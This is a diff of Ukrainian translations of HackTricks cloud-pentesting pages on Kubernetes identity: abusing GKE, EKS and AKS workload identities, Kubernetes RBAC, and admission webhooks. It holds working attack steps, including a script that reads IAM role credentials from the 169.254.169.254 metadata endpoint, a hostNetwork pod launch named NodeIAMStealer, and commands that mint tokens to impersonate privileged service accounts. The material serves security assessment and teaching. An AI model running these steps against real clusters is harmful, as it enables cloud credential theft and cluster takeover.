@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
```
|
||||
- **Підключіться** до **cluster** та **створіть** **service account** для використання
|
||||
- **Підключіться** до **кластеру** та **створіть** **service account**, який буде використовуватися
|
||||
```bash
|
||||
# Get k8s creds
|
||||
gcloud container clusters get-credentials <cluster_name> --region=us-central1
|
||||
@@ -80,7 +80,7 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
- **Прив'язати GSA до KSA**
|
||||
- **Прив’яжіть GSA до KSA**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
|
||||
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
gcloud auth list
|
||||
```
|
||||
Перевірте наступну команду для автентифікації у разі потреби:
|
||||
Перевірте таку команду, щоб аутентифікуватися, якщо потрібно:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
> [!WARNING]
|
||||
> Як атакуючий всередині K8s вам слід **шукати SAs** з **`iam.gke.io/gcp-service-account` анотацією**, оскільки це вказує, що SA може отримати доступ до чогось у GCP. Інший варіант — спробувати зловживати кожним KSA в кластері й перевірити, чи має він доступ.\
|
||||
> З боку GCP завжди корисно перерахувати bindings і знати, **який доступ ви надаєте SAs всередині Kubernetes**.
|
||||
> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
|
||||
> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
|
||||
|
||||
Це скрипт, який дозволяє легко **перебирати всі визначення pods**, **шукаючи** ту **анотацію**:
|
||||
Це скрипт, щоб легко **ітеративно пройтися по всіх pod** definitions **у пошуку** цієї **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Старий спосіб надати Pods IAM Roles — використовувати [**Kiam**](https://github.com/uswitch/kiam) або [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** По суті, вам потрібно запустити **daemonset** у вашому кластері з **kind of privileged IAM role**. Цей daemonset надаватиме доступ до IAM roles тим Pods, яким це необхідно.
|
||||
Застарілий спосіб надавати IAM Roles Pods — це використовувати [**Kiam**](https://github.com/uswitch/kiam) або [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** По суті, вам потрібно запустити **daemonset** у вашому кластері з **типом privileged IAM role**. Цей daemonset і буде тим, хто надаватиме доступ до IAM roles тим pods, які цього потребують.
|
||||
|
||||
Насамперед потрібно налаштувати **which roles can be accessed inside the namespace**, і це робиться за допомогою annotation всередині namespace object:
|
||||
Перш за все вам потрібно налаштувати **які roles можуть бути доступні всередині namespace**, і робиться це за допомогою annotation всередині об’єкта namespace:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
Після того як namespace налаштовано з IAM roles, які можуть мати Pods, ви можете **вказати роль, яку ви хочете на кожному pod definition, наприклад**:
|
||||
Після того, як namespace налаштовано з IAM roles, які можуть мати Pods, ви можете **вказати потрібну role у визначенні кожного pod так**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
@@ -171,12 +171,12 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> Як атакуючий, якщо ви **знайдете ці анотації** в pods або namespaces або якщо запущено сервер kiam/kube2iam (ймовірно в kube-system), ви можете **видавати себе за кожну роль**, яку вже **використовують pods**, і більше (якщо у вас є доступ до AWS — перелічіть roles).
|
||||
> Як attacker, якщо ви **знайдете ці annotations** у pods або namespaces чи запущений kiam/kube2iam server (ймовірно в kube-system), ви можете **impersonate кожну r**ole, яка вже **used by pods**, і більше (якщо у вас є access до AWS account, enumerate the roles).
|
||||
|
||||
#### Create Pod with IAM Role
|
||||
|
||||
> [!NOTE]
|
||||
> IAM role, яку потрібно вказати, має бути в тому ж AWS account, що й роль kiam/kube2iam, і ця роль має мати до неї доступ.
|
||||
> IAM role, яку потрібно вказати, має бути в тому самому AWS account, що й role kiam/kube2iam, і ця role повинна мати змогу отримати до неї access.
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -196,10 +196,10 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
|
||||
Це **рекомендований спосіб від AWS**.
|
||||
|
||||
1. По-перше, потрібно [створити провайдера OIDC для кластера](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Після цього створіть IAM роль з дозволами, які знадобляться SA.
|
||||
3. Створіть [доверчі відносини між IAM роллю та SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) за ім'ям (або між роллю та неймспейсами, що надають доступ усім SA в неймспейсі). _Доверчі відносини в основному перевіряють ім'я OIDC провайдера, ім'я namespace та ім'я SA_.
|
||||
4. Нарешті, **створіть SA з анотацією, яка вказує ARN ролі**, і поди, що працюють під цим SA, матимуть **доступ до токена ролі**. **Токен** **записується** у файл, а шлях вказано в **`AWS_WEB_IDENTITY_TOKEN_FILE`** (за замовчуванням: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
1. Спочатку вам потрібно [створити OIDC provider для кластера](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Потім ви створюєте IAM role з permissions, які будуть потрібні SA.
|
||||
3. Створіть [trust relationship між IAM role і назвою SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (або namespace'ами, надаючи доступ до role всім SA в namespace). _Trust relationship головним чином перевірятиме назву OIDC provider, назву namespace і назву SA_.
|
||||
4. Нарешті, **створіть SA з annotation, що вказує ARN role**, і pods, що працюють із цим SA, матимуть **доступ до token role**. **Token** **записується** у файл, а шлях до нього вказано в **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
Щоб **отримати доступ до aws, використовуючи token** з `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, виконайте:
|
||||
Щоб **отримати aws, використовуючи token** з `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, виконайте:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> Як атакуючий, якщо ви можете перерахувати K8s кластер, перевірте наявність **service accounts with that annotation** щоб **escalate to AWS**. Для цього просто **exec/create** **pod** використовуючи один з IAM **privileged service accounts** і вкрадіть token.
|
||||
> Як атакувальник, якщо ти можеш enumarate K8s cluster, перевір **service accounts with that annotation** to **escalate to AWS**. Для цього просто **exec/create** a **pod** using one of the IAM **privileged service accounts** and вкради token.
|
||||
>
|
||||
> Крім того, якщо ви всередині pod, перевірте env variables такі як **AWS_ROLE_ARN** та **AWS_WEB_IDENTITY_TOKEN.**
|
||||
> Moreover, if you are inside a pod, перевір env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Іноді **Turst Policy of a role** може бути **bad configured** і замість надання AssumeRole доступу очікуваному service account, воно надається **all the service accounts**. Тому, якщо ви можете записати annotation у контрольований service account, ви зможете отримати доступ до role.
|
||||
> Іноді **Turst Policy of a role** може бути **bad configured** і замість надання AssumeRole access до очікуваного service account, вона надає його **all the service accounts**. Therefore, якщо ти можеш write an annotation on a controlled service account, ти можеш access the role.
|
||||
>
|
||||
> Перегляньте **following page for more information**:
|
||||
> Check the **following page for more information**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Знайти Pods та SAs з IAM Roles у кластері
|
||||
### Find Pods a SAs with IAM Roles in the Cluster
|
||||
|
||||
Це скрипт для простого **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
|
||||
Це script, щоб легко **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -255,24 +255,26 @@ done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Role to cluster-admin
|
||||
|
||||
Попередній розділ розповідав про те, як вкрасти IAM Roles за допомогою pods, але зауважте, що **Node of the** K8s cluster фактично є **instance inside the cloud**. Це означає, що Node, швидше за все, матиме **IAM role you can steal** (_зауважте, що зазвичай усі nodes K8s кластера матимуть однаковий IAM role, тож може не мати сенсу перевіряти кожний node_).
|
||||
Попередній розділ був про те, як викрадати IAM Roles за допомогою pods, але майте на увазі, що **Node** K8s cluster — це буде **instance всередині cloud**. Це означає, що Node з великою ймовірністю матиме **IAM role, яку ви можете вкрасти** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
|
||||
|
||||
Щоб отримати доступ до node metadata endpoint, вам потрібно:
|
||||
- Бути в pod і мати metadata endpoint налаштований щонайменше на 2 tcp hops. Це найпоширеніша неправильна конфігурація, оскільки зазвичай різні pods у кластері потребують доступу до metadata endpoint, щоб не ламатися, і декілька компаній просто дозволяють доступ до metadata endpoint для всіх pods у кластері.
|
||||
Щоб отримати доступ до metadata endpoint ноди, вам потрібно:
|
||||
- Бути в pod і мати metadata endpoint налаштований щонайменше на 2 tcp hops. Це найпоширеніша misconfiguration, оскільки зазвичай різні pods у cluster потребуватимуть доступу до metadata endpoint, щоб не ламатися, і кілька компаній просто вирішують дозволити доступ до metadata endpoint з усіх pods у cluster.
|
||||
- Бути в pod з увімкненим `hostNetwork`.
|
||||
- Втекти з контейнера на node і напряму звернутися до metadata endpoint.
|
||||
- Escape до node і отримати доступ до metadata endpoint напряму.
|
||||
|
||||
(Зауважте, що metadata endpoint завжди знаходиться за адресою 169.254.169.254).
|
||||
(Зверніть увагу, що metadata endpoint, як завжди, знаходиться на 169.254.169.254).
|
||||
|
||||
Щоб **escape to the node** ви можете використати наступну команду, щоб запустити pod з увімкненим `hostNetwork`:
|
||||
У новіших EKS environments перевіряйте node і cluster mode, перш ніж припускати, що pods можуть дістатися до node instance profile. Amazon Linux 2023 EKS optimized AMIs за замовчуванням встановлюють IMDS hop limit на 1, а EKS Auto Mode вмикає `disablePodIMDS` за замовчуванням, тож звичайні pods не повинні отримувати node-role credentials, якщо оператор не змінив ці налаштування або pod не має іншого node-level path, наприклад `hostNetwork` чи node compromise. Рекомендований підхід — заблокувати доступ pods до node IMDS і використовувати IRSA або EKS Pod Identity для AWS permissions workload.
|
||||
|
||||
Щоб **escape to the node**, ви можете використати таку команду, щоб запустити pod з увімкненим `hostNetwork`:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### Steal IAM Role Token
|
||||
### Викрасти IAM Role Token
|
||||
|
||||
Раніше ми обговорювали, як **attach IAM Roles to Pods** або навіть як **escape to the Node to steal the IAM Role**, який прикріплений до інстансу.
|
||||
Раніше ми обговорювали, як **прикріпити IAM Roles до Pods** або навіть як **втекти на Node, щоб викрасти IAM Role**, яку instance має до нього прикріплену.
|
||||
|
||||
Ви можете використати наступний скрипт, щоб **steal** ваші нові важко здобуті **IAM role credentials**:
|
||||
Ви можете використати наступний скрипт, щоб **викрасти** ваші нові, важко здобуті **IAM role credentials**:
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
@@ -285,21 +287,66 @@ fi
|
||||
```
|
||||
### Privesc to cluster-admin
|
||||
|
||||
У підсумку: якщо можливо отримати доступ до **EKS Node IAM role** з pod, то можливо **compromise the full kubernetes cluster**.
|
||||
У підсумку: якщо з pod можливо **access the EKS Node IAM role**, то можливо **compromise the full kubernetes cluster**.
|
||||
|
||||
Для детальнішої інформації перегляньте [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Коротко, стандартна IAM EKS роль, яка призначається EKS nodes за замовчуванням, всередині має роль `system:node` в межах kubernetes cluster. Ця роль дуже цікава, хоча обмежена kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
|
||||
For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). У підсумку, default IAM EKS role, яка призначається EKS nodes за замовчуванням, у cluster отримує роль `system:node`. Ця роль дуже цікава, хоча і обмежена kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
|
||||
|
||||
Однак node завжди може **generate tokens for service accounts**, що працюють у pods всередині node. Тому, якщо node запускає pod з привілейованим service account, node може згенерувати token для цього service account і використати його, щоб impersonate цей service account, як у:
|
||||
Однак node завжди може **generate tokens for service accounts** running in pods inside the node. Тож якщо node запускає pod з privileged service account, node може згенерувати token для цього service account і використати його, щоб impersonate service account, як у:
|
||||
```bash
|
||||
kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
--bound-object-kind=Pod \
|
||||
--bound-object-name=pod-priv \
|
||||
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
|
||||
```
|
||||
## Посилання
|
||||
## Azure / AKS
|
||||
|
||||
В AKS під час assessment тримайте три identity paths розділеними:
|
||||
|
||||
- **Azure to Kubernetes**: Azure principals можуть отримувати user або admin kubeconfigs через Azure Resource Manager, якщо їхня Azure RBAC role це дозволяє. Local admin kubeconfigs з `az aks get-credentials --admin` є certificate-based credentials і можуть bypass звичайний Microsoft Entra user/group governance, якщо local accounts не disabled.
|
||||
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters authenticate users, groups або service principals через `kubelogin`/exec kubeconfigs. Final Kubernetes action може бути authorized нативним Kubernetes RBAC або Azure RBAC for Kubernetes Authorization.
|
||||
- **Kubernetes to Azure**: Pods normally мають використовувати Microsoft Entra Workload ID, який exchange-ить projected Kubernetes service account tokens з Entra через AKS OIDC issuer і federated identity credentials.
|
||||
|
||||
Корисні AKS identity checks з Azure:
|
||||
```bash
|
||||
az aks show -g <resource-group> -n <cluster> \
|
||||
--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
|
||||
-o yaml
|
||||
|
||||
AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
|
||||
az role assignment list --scope "$AKS_ID" --include-inherited -o table
|
||||
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
|
||||
```
|
||||
З Kubernetes, шукайте сигнали AKS Workload ID:
|
||||
```bash
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
|
||||
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
|
||||
```
|
||||
Відповідні поля Workload ID зазвичай такі:
|
||||
```yaml
|
||||
metadata:
|
||||
annotations:
|
||||
azure.workload.identity/client-id: "<application-or-managed-identity-client-id>"
|
||||
azure.workload.identity/tenant-id: "<tenant-id>"
|
||||
---
|
||||
metadata:
|
||||
labels:
|
||||
azure.workload.identity/use: "true"
|
||||
```
|
||||
Якщо кластер і далі використовує застарілу модель pod-managed identity від Microsoft Entra, шукайте старі CRD та компоненти NMI/MIC замість анотацій Workload ID:
|
||||
```bash
|
||||
kubectl get crd | grep -i azureidentity
|
||||
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
|
||||
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
|
||||
```
|
||||
AKS nodes are Azure VM scale set instances, so node or host-level access can expose Azure Instance Metadata Service at `169.254.169.254`. Do not assume an ordinary pod should receive node managed identity credentials: verify workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, and node access first. If a node identity has broad Azure permissions, node compromise can become an Azure pivot even when application Workload ID is correctly scoped.
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
|
||||
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+40
-16
@@ -4,33 +4,33 @@
|
||||
|
||||
## Role-Based Access Control (RBAC)
|
||||
|
||||
Kubernetes має **authorization module** під назвою Role-Based Access Control ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)), який допомагає задавати permissions використання для API server.
|
||||
Kubernetes має **authorization module** під назвою **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)), який допомагає встановлювати permissions на використання API server.
|
||||
|
||||
Модель permissions у RBAC побудована з **трьох окремих частин**:
|
||||
|
||||
1. **Role\ClusterRole –** Фактичний permission. Він містить _**rules**_, які представляють набір permissions. Кожне правило містить [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) і [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb — це action, який буде застосовано до resource.
|
||||
1. **Role\ClusterRole –** Фактичний permission. Вона містить _**rules**_, які представляють набір permissions. Кожне правило містить [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) і [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb — це action, який буде застосовано до resource.
|
||||
2. **Subject (User, Group or ServiceAccount) –** Об’єкт, який отримає permissions.
|
||||
3. **RoleBinding\ClusterRoleBinding –** Зв’язок між Role\ClusterRole і subject.
|
||||
|
||||

|
||||
|
||||
Різниця між “**Roles**” і “**ClusterRoles**” лише в тому, де буде застосовано role – “**Role**” надає доступ лише до **одного** **specific** **namespace**, тоді як “**ClusterRole**” може використовуватися в **all namespaces** у cluster. Крім того, **ClusterRoles** також можуть надавати доступ до:
|
||||
Різниця між “**Roles**” і “**ClusterRoles**” полягає лише в тому, де буде застосовано role – “**Role**” надає доступ лише до **одного** **specific** **namespace**, тоді як “**ClusterRole**” можна використовувати в **all namespaces** у cluster. Крім того, **ClusterRoles** також можуть надавати доступ до:
|
||||
|
||||
- **cluster-scoped** resources (like nodes).
|
||||
- **non-resource** endpoints (like /healthz).
|
||||
- namespaced resources (like Pods), **across all namespaces**.
|
||||
- **cluster-scoped** resources (наприклад, nodes).
|
||||
- **non-resource** endpoints (наприклад, /healthz).
|
||||
- namespaced resources (наприклад, Pods), **across all namespaces**.
|
||||
|
||||
Починаючи з **Kubernetes** 1.6, політики **RBAC** **enabled by default**. Але щоб увімкнути RBAC, можна використати щось на кшталт:
|
||||
Починаючи з **Kubernetes** 1.6, політики **RBAC** **enabled by default**. Але щоб увімкнути RBAC, ви можете використати щось на кшталт:
|
||||
```
|
||||
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
```
|
||||
## Templates
|
||||
|
||||
У template **Role** або **ClusterRole** вам потрібно вказати **name of the role**, **namespace** (у roles), а потім **apiGroups**, **resources** і **verbs** role:
|
||||
У template **Role** або **ClusterRole** вам потрібно вказати **name** role, **namespace** (у roles), а також **apiGroups**, **resources** і **verbs** role:
|
||||
|
||||
- **apiGroups** — це array, що містить різні **API namespaces**, до яких застосовується це правило. Наприклад, Pod definition використовує apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
|
||||
- **resources** — це array, що визначає, **до яких resources застосовується це правило**. Усі resources можна знайти за допомогою: `kubectl api-resources --namespaced=true`
|
||||
- **verbs** — це array, що містить **allowed verbs**. Verb у Kubernetes визначає **type of action**, який потрібно застосувати до resource. Наприклад, verb list використовується для collections, тоді як "get" використовується для single resource.
|
||||
- **verbs** — це array, що містить **allowed verbs**. Verb у Kubernetes визначає **type of action**, яку потрібно застосувати до resource. Наприклад, verb list використовується для collections, тоді як "get" використовується для single resource.
|
||||
|
||||
### Rules Verbs
|
||||
|
||||
@@ -54,7 +54,7 @@ Kubernetes sometimes checks authorization for additional permissions using speci
|
||||
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
|
||||
|
||||
> [!WARNING]
|
||||
> Ви можете знайти **all the verbs that each resource support** виконавши `kubectl api-resources --sort-by name -o wide`
|
||||
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
|
||||
|
||||
### Examples
|
||||
```yaml:Role
|
||||
@@ -80,15 +80,15 @@ rules:
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "watch", "list"]
|
||||
```
|
||||
Наприклад, ви можете використати **ClusterRole**, щоб дозволити певному користувачу запускати:
|
||||
Наприклад, ви можете використовувати **ClusterRole**, щоб дозволити певному користувачу запускати:
|
||||
```
|
||||
kubectl get pods --all-namespaces
|
||||
```
|
||||
### **RoleBinding and ClusterRoleBinding**
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding надає дозволи, визначені в role, користувачу або набору користувачів**. Він містить список subjects (users, groups, or service accounts) і посилання на role, що надається. **RoleBinding** надає дозволи в межах конкретного **namespace**, тоді як **ClusterRoleBinding** надає цей доступ **cluster-wide**.
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding надає дозволи, визначені в role, користувачу або набору користувачів**. Він містить список subjects (users, groups, or service accounts) і посилання на role, який надається. **RoleBinding** надає дозволи в межах конкретного **namespace**, тоді як **ClusterRoleBinding** надає цей доступ **cluster-wide**.
|
||||
```yaml:RoleBinding
|
||||
piVersion: rbac.authorization.k8s.io/v1
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
# This role binding allows "jane" to read pods in the "default" namespace.
|
||||
# You need to already have a Role named "pod-reader" in that namespace.
|
||||
kind: RoleBinding
|
||||
@@ -122,9 +122,33 @@ kind: ClusterRole
|
||||
name: secret-reader
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
```
|
||||
**Permissions are additive** тож якщо у вас є clusterRole з “list” і “delete” secrets, ви можете додати його з Role з “get”. Тож будьте уважні та завжди тестуйте свої roles і permissions і **вказуйте, що є ALLOWED, бо все DENIED за замовчуванням.**
|
||||
**Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.**
|
||||
|
||||
## **Enumerating RBAC**
|
||||
### Details worth checking
|
||||
|
||||
RBAC використовує resource names так, як вони з’являються в API URLs, а не YAML `kind`. Pod — це `pods`, Deployment — `deployments`, а subresources записуються через слеш, наприклад `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` або `services/proxy`. Permission на `pods` не надає автоматично доступ до `pods/exec` або `pods/log`.
|
||||
|
||||
`resourceNames` can restrict some requests to specific object names:
|
||||
```yaml
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
resourceNames: ["app-config"]
|
||||
verbs: ["get", "update"]
|
||||
```
|
||||
Це не обмежує `create` або `deletecollection` на верхньому рівні за іменем. Для `list` і `watch` клієнт має включити відповідний селектор поля `metadata.name`, інакше запит не буде авторизований цим правилом:
|
||||
```bash
|
||||
kubectl get configmaps -n default --field-selector=metadata.name=app-config
|
||||
```
|
||||
Використовуйте точні access reviews для high-impact checks:
|
||||
```bash
|
||||
kubectl auth can-i create pods/exec -n default
|
||||
kubectl auth can-i create serviceaccounts/token -n default
|
||||
kubectl auth can-i impersonate users
|
||||
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
|
||||
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
|
||||
```
|
||||
## **Перерахування RBAC**
|
||||
```bash
|
||||
# Get current privileges
|
||||
kubectl auth can-i --list
|
||||
@@ -146,7 +170,7 @@ kubectl describe roles
|
||||
kubectl get rolebindings
|
||||
kubectl describe rolebindings
|
||||
```
|
||||
### Зловживання Role/ClusterRoles для підвищення привілеїв
|
||||
### Зловживання Role/ClusterRoles для Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
+81
-36
@@ -2,71 +2,101 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Оригінальний автор цієї сторінки** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Визначення
|
||||
|
||||
ValidatingWebhookConfiguration - це ресурс Kubernetes, який визначає валідаційний вебхук, що є компонентом на стороні сервера, який перевіряє вхідні запити API Kubernetes на відповідність набору попередньо визначених правил і обмежень.
|
||||
`ValidatingWebhookConfiguration` — це ресурс Kubernetes, який реєструє один або кілька validating admission webhooks. Ці webhooks отримують запити AdmissionReview від API server після authentication та authorization, але до того, як object буде збережено.
|
||||
|
||||
## Мета
|
||||
Validating webhooks можуть відхилити запит. Mutating webhooks, налаштовані через `MutatingWebhookConfiguration`, можуть спочатку змінити object. Security reviews зазвичай мають перевіряти обидва ресурси, тому що malicious або слабкий mutating webhook може переписати workloads, тоді як validating webhook або policy engine може заблокувати або дозволити їх.
|
||||
|
||||
Мета ValidatingWebhookConfiguration полягає в тому, щоб визначити валідаційний вебхук, який буде забезпечувати дотримання набору попередньо визначених правил і обмежень для вхідних запитів API Kubernetes. Вебхук перевірятиме запити на відповідність правилам і обмеженням, визначеним у конфігурації, і поверне помилку, якщо запит не відповідає правилам.
|
||||
## Призначення
|
||||
|
||||
Призначення `ValidatingWebhookConfiguration` — визначити, коли API server має викликати validating webhook і як він має обробити результат webhook. Важливе security-питання не лише в тому, "чи встановлено policy?", а також:
|
||||
|
||||
- Які API groups, resources, operations і scopes він відповідає?
|
||||
- Які namespaces або object виключені через selectors?
|
||||
- Чи `matchConditions` пропускає будь-які класи запитів?
|
||||
- Чи `failurePolicy` виконує fail open з `Ignore` або fail closed з `Fail`?
|
||||
- Чи доступний webhook service, чи йому довіряє налаштований `caBundle`, і чи він запущений від імені service account з дуже високими привілеями?
|
||||
- Чи policy engine також надає exception resources, excluded users або excluded groups?
|
||||
|
||||
**Приклад**
|
||||
|
||||
Ось приклад ValidatingWebhookConfiguration:
|
||||
Ось приклад `ValidatingWebhookConfiguration`:
|
||||
```yaml
|
||||
apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: ValidatingWebhookConfiguration
|
||||
metadata:
|
||||
name: example-validation-webhook
|
||||
namespace: default
|
||||
webhook:
|
||||
name: example-validation-webhook
|
||||
webhooks:
|
||||
- name: pods.example.local
|
||||
admissionReviewVersions: ["v1"]
|
||||
sideEffects: None
|
||||
failurePolicy: Fail
|
||||
timeoutSeconds: 5
|
||||
clientConfig:
|
||||
url: https://example.com/webhook
|
||||
